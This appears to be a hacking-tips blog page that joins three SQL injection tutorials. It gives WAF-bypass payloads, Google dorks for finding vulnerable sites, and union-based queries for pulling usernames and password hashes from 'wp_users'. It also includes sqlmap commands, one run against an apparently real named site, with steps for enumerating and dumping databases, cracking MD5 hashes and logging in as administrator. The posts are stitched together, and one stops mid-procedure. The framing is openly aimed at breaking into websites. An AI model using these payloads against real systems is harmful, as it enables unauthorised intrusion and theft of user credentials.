Facebook tricks, Windows trick, Google trick, Internet hacking, Ethical Hacking, gmail tricks, Technological news, Software Crack, Mobile Tricks, Blogging Trick, ebay Trick, Computer program, LAN hacking, WAN hacking, cookies stealing, Email Tracing
In my previous posts, i have explained about different types of SQL injections. Some times, when we try to retrieve data from SQLi vulnerable websites, we end up with forbidden error. Today i will explain why you get such errors and how you can bypass such errors and perform successful attacks on websites. If you have not read my previous posts and if you are new to SQLi, I would suggest you to read them before proceeding.
You can read them from here.
What is WAF? WAF stands for Web Application Firewall. In order to prevent the attacks such as SQLi and XSS, administrators put Web Application Firewalls. These WAFs detect malicious attempts with the use of signature based filters and escapes defined within a list of rules. As a result of this design, they are vulnerable and can be easily bypassed.
How it works?? When the WAF detects malicious attempts, our input URL gives a forbidden error as shown in the following figure.
Our aim is to bypass this error and need to retrieve data from the database using some special techniques. There are many methods to bypass WAF. In this tutorial, i am going to show you some basic methods. These methods are especially for beginners.
Methods To Bypass WAF Comments :- Comments allow us to bypass a lot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query.
Actual query http://vulnerablesite.com/detail.php?id=44 union all select 1,2,3,4,5—
Query To Bypass the WAF http://vulnerablesite.com/detailphp?id=44 /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3,4,5—
Capitalization Of Functions:- Some WAF’s will filter only lowercase alphabets, So we can easily evade this by case changing.
Actual query http://vulnerablesite.com/detail.php?id=44 UNION SELECT 1,2,3,4,5— Query to bypass the WAF http://vulnerablesite.com/detail.php?id=-1 uNiOn SeLeCt 1,2,3,4,5— Replaced Keywords:- Some WAF's will escape certain keywords such as UNION, SELECT, ORDER BY, etc. This can be used to our advantage by duplicating the detected word within another.
Actual query http://vulnerablesite.com/detail.php?id=-1 UNION SELECT 1,2,3,4,5— Query to bypass the WAF http://vulnerablesite.com/detail.php?id=-1 UNIunionON SEselectLECT 1,2,3,4,5--
In my previous articles, i have shown you how we can hack websites using Simple SQL injection and Query based basicSQL injection and blind SQL injections. Today i am going to show you how we can hack websites using SQLmap. When manual methods donot let me hack the websites,then Sqlmap is my favourite tool. So before proceeding into this article i would like to suggest you to read my previous articles on SQLinjections, if you have missed them.
What is SQLMAP? sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Things you require 1) BackTrack 5 2) A vulnerable website :p
The vulnerable link i am going to use is
http://www.targetsite.com/item.php?id=200 Step by step Procedure to hack First open Backtrack5 and then open SQLMAP. You can open SQLMAP by doing the following. Applications-->backtrack-->Exploitation tools-->web exploitation tools-->sqlmap.
It opens your sqlmap console . Scanning the URL and finding out the database names Now i am going to scan the url using the following command.
./sqlmap.py -u http://www.targetsite.com/item.php?id=200 –dbs Here –u is for URL . You can also scan the entire website by simply replacing the above URL with the website’s URL. Now i am going to scan the link. It has shown me a very good message that “GET parameter “id” is vulnerable”. And asked me to continue or stop. As i have already got a vulnerable parameter, i have stopped by pressing ‘N’. You can continue the scan if you want. Finding out table names Great..!! We got the database names. Now we need to find out the table and column names. As information_schema is for metadata, i am going with the database “waterufo_net”. The following query gives me the table names.
./sqlmap.py -u http://www.waterufo.net/item.php?id=200 --tables -D waterufo_net Here –D is to specify the name of the database.
Finding out column names Fine.. Now we got 6 tables. As we are always interested in usernames and passwords, lets move on to the fl_users table and find the column names in that table. So we use the following query
./sqlmap.py -u http://www.targetsite.com/item.php?id=200 --columns -T fl_users -D waterufo_net Here -T is for tablename.
Retrieving Data We got all the columns from the table fl_users. Now we have to retrieve the data from the database. For that we need to write the following query. We are just adding –dump to the above query.
In my previous article SQL injection Part 1.I explained how we can hack websites using simple SQL injections. Today i will explain how we can hack websites using advanced SQL injections. Today there are number of articles on different blogs about SQL injections. So i thought of writing this article using an example so it gives you better understanding.
In my previous article i have given all the basic stuff regarding sql, today i will be directly getting into injection parts. If you have not read the previous part SQL injection Part 1 . Kindly go through it before reading this one.
Finding Out A Vulnerable Website We can use google dorks to find vulnerable sites.If you want to find SQLi vulnerabilityon a particular website, then also you can use google dorks. All you need is a basic knowledge of advanced google searching.
Here are some google dorks. inurl:article.php?ID= inurl:newsDetail.php?id= inurl:view.php?id= inurl:page.php?id= inurl:productdetail.php?id= Now we have to check for the vulnerability. To do this add a single quote(‘) at the end of the URL. If you get an error or blank page, the site is vulnerable to SQL injection.
When i add single quote at the end of the URL, some data of the page is missing. Hence we can determine that it is vulnerable to SQl injection. www.vulnerablesite.com/view.php?id=-47’
Finding Out The Number Of Columns Now our job is to find out the number of columns in the sites database in order to access it. We can find this by simply adding “order by “ query at the end as shown below. www.vulnerablesite.com/view.php?id=47 order by 1— (no error)It should return the page with no error. Now add one more column to the above query. It looks like www.vulnerablesite.com/view.php?id=47 order by 2— (no error)We should increase the count until we get an error. When we get an error, it means that there are no more columns to return the results.
In my example i got an error at the following query. www.vulnerablesite.com/view.php?id=47 order by 10— (error)It means that the site has 9 columns.
Finding Out The Most Vulnerable Volumn When we are done with number of columns, we need to find the most vulnerable column. For this we use the following query. www.vulnerablesite.com/view.php?id=47 union select 1,2,3,4,5,6,7,8,9—It should return the most vulnerable columns.Some times it may not display the columns on your page. In such cases add ‘-‘ without quotes before your id number. This is to call a non existing page to display your data.
Then the above query looks like www.vulnerablesite.com/view.php?id=-47 union select 1,2,3,4,5,6,7,8,9—
If you observe, i got 2 as the most vulnerable column.The most interesting part of our attack starts here. We need to extract the data from the database here.
Finding Out The Table Names First we will find out the table names from database. Just add the following query to find the table names. www.vulnerablesite.com/view.php?id=-47 union select 1,table_name ,3,4,5,6,7,8,9 from information_schema.tables— It gives us a list of tables.
Now search for the tables you are interested in. It means, a hacker generally looks for the tables that contain usernames and passwords. So select a table you want.
Finding Out The Column Names Now we need to extract the column names from the tables inorder to extract the data. We can find the column names using the following query. www.vulnerablesite.com/view.php?id=-47 union select 1,column_name ,3,4,5,6,7,8,9 from information_schema.columns where table_name=’yourtablename’— In my example the query becomes www.vulnerablesite.com/view.php?id=-47 union select 1,column_name ,3,4,5,6,7,8,9 from information_schema.columns where table_name=’wp_users’—
it displays all the column names from the table ‘wp_users’
Extracting Data Now we have to extract the information such as usernames, passwords etc.
We can do this as shown in the following query. www.vulnerablesite.com/view.php?id=-47 union select 1,column_name ,3,4,5,6,7,8,9 from yourtablename—In my example this query becomes www.vulnerablesite.com/view.php?id=-47 union select 1,user_login ,3,4,5,6,7,8,9 from wp_users—Similarly you can get the password using the same query by simply changing the column_name as user_pass in my example.
Many websites store passwords using MD5 encryption. So we have to crack it using any MD5 cracker. www.md5cracker.co.uk is an online service to crack MD5 hashes. Then find out the admin page, and login to the website. For more about MD5 kindly read the tutorial hashes and salts from here.
